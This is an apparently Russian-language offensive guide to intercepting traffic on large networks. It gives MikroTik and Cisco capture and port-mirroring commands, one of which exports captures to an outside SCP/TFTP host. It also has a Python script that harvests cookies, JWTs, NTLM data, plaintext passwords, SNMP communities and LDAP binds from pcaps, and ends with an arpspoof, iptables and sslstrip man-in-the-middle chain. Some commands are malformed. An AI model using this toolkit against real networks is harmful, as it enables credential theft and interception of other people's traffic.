Сетевой трафик в больших сетях - перехват и эксплуатация.

/tool sniffer set filter-interface=<interface-name> file-name=<file-name> streaming-enabled=yes
/tool/sniffer/start

/tool/sniffer/stop

file-limit=<mb>

/tool/sniffer/set filter-port=23,21,445,139 file-name=creds_files.pcap streaming-enabled=yes
/tool/sniffer/start

/tool/sniffer/set filter-port=445,139,389,88 file-name=ad_recon.pcap streaming-enabled=yes
/tool/sniffer/start

/tool/sniffer/set filter-interface=bridge filter-port=80,8080,8000,443 file-name=http_exfil_c2.pcap streaming-enabled=yes
/tool/sniffer/start

/tool/sniffer/set filter-port=25,110,143,995,993 file-name=mail.pcap streaming-enabled=yes
/tool/sniffer/start

enable
configure terminal

! 1. Создать круговой буфер (пример 50000 KB)
monitor capture CAP buffer circular size 50000

! 2. Привязать захват к интерфейсу (both = ingress+egress)
monitor capture CAP interface GigabitEthernet0/0 both

! 3. Если нужен фильтр — указать. Для "всего" используем any
monitor capture CAP match any

! 4. Запустить захват
monitor capture CAP start

show monitor capture CAP buffer

show monitor capture CAP

! Быстрый просмотр захваченных пакетов (только кратко)
show monitor capture CAP detail

monitor capture CAP stop

! Экспортировать pcap на SCP (пример)
monitor capture CAP export scp://user:[email protected]:/tmp/capture.pcap

! Или экспорт в TFTP/FTP/bootflash (в зависимости от платформы)
monitor capture CAP export tftp://192.0.2.20/capture.pcap
! или
monitor capture CAP export bootflash:capture.pcap

/interface bridge mirror add bridge=bridge1 ingress=yes egress=yes mirror-target=ether10

/interface bridge mirror print

/interface bridge mirror remove numbers=0

/interface monitor-traffic interface=ether10 once

enable configure terminal

monitor session 1 source vlan 1-4094 both

monitor session 1 source interface Gi0/1 - 48 both

monitor session 1 destination interface GigabitEthernet1/0/48

show monitor session 1

# pcap_tools.py
import os
import re
import json
import csv
import socket
import subprocess
from typing import List
import pyshark
import dpkt

def _ensure_dir(p: str):
    if p and not os.path.exists(p):
        os.makedirs(p, exist_ok=True)

def _inet_to_str(b: bytes) -> str:
    try:
        return socket.inet_ntop(socket.AF_INET, b)
    except Exception:
        try:
            return socket.inet_ntop(socket.AF_INET6, b)
        except Exception:
            return str(b)

# SNI и сертификаты
def extract_sni_certs(pcap: str, out_json: str = "sni_certs.json"):
    res = []
    cap = pyshark.FileCapture(pcap, display_filter='tls.handshake and (tls.handshake.type == 1 or tls.handshake.type == 11)', keep_packets=False)
    for pkt in cap:
        try:
            r = {"time": str(getattr(pkt, "sniff_time", "")),
                 "ip_src": getattr(pkt.ip, "src", None) if hasattr(pkt, "ip") else None,
                 "ip_dst": getattr(pkt.ip, "dst", None) if hasattr(pkt, "ip") else None,
                 "sni": None, "cert_subjects": [], "cert_issuer": None, "tls_version": None, "cipher": None}
            if hasattr(pkt.tls, 'handshake_extensions_server_name'):
                r["sni"] = pkt.tls.handshake_extensions_server_name
            if hasattr(pkt.tls, 'x509ce_subject'):
                r["cert_subjects"].append(pkt.tls.x509ce_subject)
            if hasattr(pkt.tls, 'x509ce_issuer'):
                r["cert_issuer"] = pkt.tls.x509ce_issuer
            if hasattr(pkt.tls, 'record_version'):
                r["tls_version"] = pkt.tls.record_version
            if hasattr(pkt.tls, 'handshake_ciphersuite'):
                r["cipher"] = pkt.tls.handshake_ciphersuite
            res.append(r)
        except Exception:
            continue
    cap.close()
    _ensure_dir(os.path.dirname(out_json) or ".")
    with open(out_json, "w", encoding="utf-8") as f:
        json.dump(res, f, indent=2, ensure_ascii=False)

# HTTP cookie и JWT
_JWT_RE = re.compile(rb'eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+')
def extract_http_cookies_jwt(pcap: str, out_csv: str = "http_cookies_jwt.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    with open(out_csv, "w", newline="", encoding="utf-8") as fh:
        writer = csv.DictWriter(fh, fieldnames=["time","src","dst","host","uri","method","cookie","auth","jwt"])
        writer.writeheader()
        cap = pyshark.FileCapture(pcap, display_filter='http.request', keep_packets=False)
        for pkt in cap:
            try:
                row = {"time": str(getattr(pkt, "sniff_time", "")),
                       "src": getattr(pkt.ip, "src", None) if hasattr(pkt, "ip") else None,
                       "dst": getattr(pkt.ip, "dst", None) if hasattr(pkt, "ip") else None,
                       "host": getattr(pkt.http, "host", None) if hasattr(pkt, "http") else None,
                       "uri": getattr(pkt.http, "request_uri", None) if hasattr(pkt, "http") else None,
                       "method": getattr(pkt.http, "request_method", None) if hasattr(pkt, "http") else None,
                       "cookie": getattr(pkt.http, "cookie", None) if hasattr(pkt, "http") else None,
                       "auth": getattr(pkt.http, "authorization", None) if hasattr(pkt, "http") else None,
                       "jwt": None}
                raw = bytes(str(pkt).encode("utf-8", errors="ignore"))
                m = _JWT_RE.search(raw)
                if m:
                    try:
                        row["jwt"] = m.group(0).decode('utf-8', errors='ignore')
                    except Exception:
                        row["jwt"] = m.group(0).hex()
                writer.writerow(row)
            except Exception:
                continue
        cap.close()

# Экспорт HTTP-объектов через tshark
def export_http_objects(pcap: str, out_dir: str = "http_objs"):
    _ensure_dir(out_dir)
    cmd = ["tshark", "-r", pcap, "--export-objects", f"http,{out_dir}"]
    subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

# Список POST-запросов
def list_http_posts(pcap: str, out_csv: str = "http_posts.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    cmd = [
        "tshark", "-r", pcap,
        "-Y", 'http.request.method == "POST"',
        "-T", "fields",
        "-e", "frame.time_epoch",
        "-e", "ip.src",
        "-e", "http.host",
        "-e", "http.request.uri",
        "-e", "http.content_length",
        "-E", "separator=,",
        "-E", "quote=d"
    ]
    proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(out_csv, "wb") as f:
        f.write(proc.stdout)

# DNS запросы (dpkt)
def extract_dns(pcap: str, out_csv: str = "dns_queries.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    with open(pcap, "rb") as f, open(out_csv, "w", newline="", encoding="utf-8") as out:
        pcap_r = dpkt.pcap.Reader(f)
        w = csv.writer(out)
        w.writerow(["time","src","dst","qname","qtype"])
        for ts, buf in pcap_r:
            try:
                eth = dpkt.ethernet.Ethernet(buf)
                if not isinstance(eth.data, dpkt.ip.IP):
                    continue
                ip = eth.data
                if isinstance(ip.data, dpkt.udp.UDP):
                    udp = ip.data
                    if udp.sport == 53 or udp.dport == 53:
                        try:
                            dns = dpkt.dns.DNS(udp.data)
                        except Exception:
                            continue
                        if dns.qr == dpkt.dns.DNS_Q and dns.qd:
                            for q in dns.qd:
                                w.writerow([ts, _inet_to_str(ip.src), _inet_to_str(ip.dst), q.name, q.type])
            except Exception:
                continue

# NTLMSSP через tshark
def extract_ntlmsssp(pcap: str, out_csv: str = "ntlmssp.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    cmd = [
        "tshark", "-r", pcap, "-Y", "ntlmssp",
        "-T", "fields",
        "-e", "frame.time_epoch",
        "-e", "ip.src",
        "-e", "ip.dst",
        "-e", "ntlmssp.username",
        "-e", "ntlmssp.domain",
        "-e", "ntlmssp.challenge",
        "-e", "ntlmssp.msg_type",
        "-E", "separator=,",
        "-E", "quote=d"
    ]
    proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(out_csv, "wb") as f:
        f.write(proc.stdout)

# Поиск plaintext credentials (raw)
_CRED_RE = re.compile(
    rb'(?:(?:user|login|username|usr)[\s:=]{0,5}([^\s,;:&]+))|(?:(?:pass|password|pwd)[\s:=]{0,5}([^\s,;:&]+))',
    re.I
)
def extract_plaintext_creds(pcap: str, out_csv: str = "plaintext_creds.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    cmd = [
        "tshark", "-r", pcap,
        "-Y", "telnet or ftp or smtp or pop or imap or http.request or ldap or snmp",
        "-T", "fields",
        "-e", "frame.time_epoch",
        "-e", "ip.src",
        "-e", "ip.dst",
        "-e", "tcp.port",
        "-e", "udp.port",
        "-e", "data.text",
        "-E", "separator=|"
    ]
    proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(out_csv, "w", newline="", encoding="utf-8") as fh:
        w = csv.writer(fh)
        w.writerow(["time","src","dst","sport","dport","user","pass","context"])
        for line in proc.stdout.splitlines():
            try:
                parts = line.split(b"|", maxsplit=5)
                if len(parts) < 6:
                    continue
                t, src, dst, sport, dport, data = parts
                if not data:
                    continue
                m = _CRED_RE.findall(data)
                user = ""
                pwd = ""
                for g in m:
                    for group in g:
                        if group:
                            s = group.decode(errors="ignore")
                            if re.search(r'(?i)user|login|username', data.decode(errors="ignore")) and not user:
                                user = s
                            elif re.search(r'(?i)pass|password|pwd', data.decode(errors="ignore")) and not pwd:
                                pwd = s
                if user or pwd:
                    w.writerow([t.decode(errors="ignore"), src.decode(errors="ignore"), dst.decode(errors="ignore"),
                                sport.decode(errors="ignore"), dport.decode(errors="ignore"),
                                user, pwd, data.decode(errors="ignore")[:1000]])
            except Exception:
                continue

# SNMP community
def extract_snmp_communities(pcap: str, out_csv: str = "snmp_communities.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    cmd = ["tshark", "-r", pcap, "-Y", "snmp", "-T", "fields", "-e", "frame.time_epoch", "-e", "ip.src", "-e", "ip.dst", "-e", "snmp.community", "-E", "separator=,", "-E", "quote=d"]
    proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(out_csv, "wb") as f:
        f.write(proc.stdout)

# LDAP binds
def extract_ldap_binds(pcap: str, out_csv: str = "ldap_binds.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    cmd = ["tshark", "-r", pcap, "-Y", "ldap", "-T", "fields", "-e", "frame.time_epoch", "-e", "ip.src", "-e", "ip.dst", "-e", "ldap.bind.request.name", "-E", "separator=,", "-E", "quote=d"]
    proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(out_csv, "wb") as f:
        f.write(proc.stdout)

# NetBIOS names
def extract_netbios_names(pcap: str, out_csv: str = "netbios_names.csv"):
    _ensure_dir(os.path.dirname(out_csv) or ".")
    cmd = ["tshark", "-r", pcap, "-Y", "nbns", "-T", "fields", "-e", "frame.time_epoch", "-e", "ip.src", "-e", "ip.dst", "-e", "nbns.name", "-E", "separator=,", "-E", "quote=d"]
    proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(out_csv, "wb") as f:
        f.write(proc.stdout)

# Аггрегация IOC
def aggregate_ioc(pcap: str, out_json: str = "ioc_summary.json"):
    res = {"sni": [], "dns": [], "http_hosts": []}
    try:
        proc = subprocess.run(["tshark", "-r", pcap, "-Y", "tls.handshake.extensions_server_name", "-T", "fields", "-e", "tls.handshake.extensions_server_name"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        if proc.returncode == 0:
            res["sni"] = sorted(set(x.strip() for x in proc.stdout.decode(errors="ignore").splitlines() if x.strip()))
    except Exception:
        pass
    try:
        proc = subprocess.run(["tshark", "-r", pcap, "-Y", "http.request", "-T", "fields", "-e", "http.host"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        if proc.returncode == 0:
            res["http_hosts"] = sorted(set(x.strip() for x in proc.stdout.decode(errors="ignore").splitlines() if x.strip()))
    except Exception:
        pass
    dns_tmp = "tmp_dns.csv"
    extract_dns(pcap, out_csv=dns_tmp)
    dns_names = set()
    try:
        with open(dns_tmp, "r", encoding="utf-8") as fh:
            next(fh)
            for l in fh:
                parts = l.split(",")
                if len(parts) >= 4:
                    dns_names.add(parts[3].strip())
    except Exception:
        pass
    res["dns"] = sorted(dns_names)
    _ensure_dir(os.path.dirname(out_json) or ".")
    with open(out_json, "w", encoding="utf-8") as f:
        json.dump(res, f, indent=2, ensure_ascii=False)
    try:
        os.remove(dns_tmp)
    except Exception:
        pass

pip install credslayer<br>credslayer &lt;.pcap file&gt;<br>

iptables -t nat -A PREROUTING -p tcp-destination-port 80 -j REDIRECT-to-port 8888

arpspoof -i eth0 -t *'Victims IP’* ‘Your IP'`

sslstrip -l 8888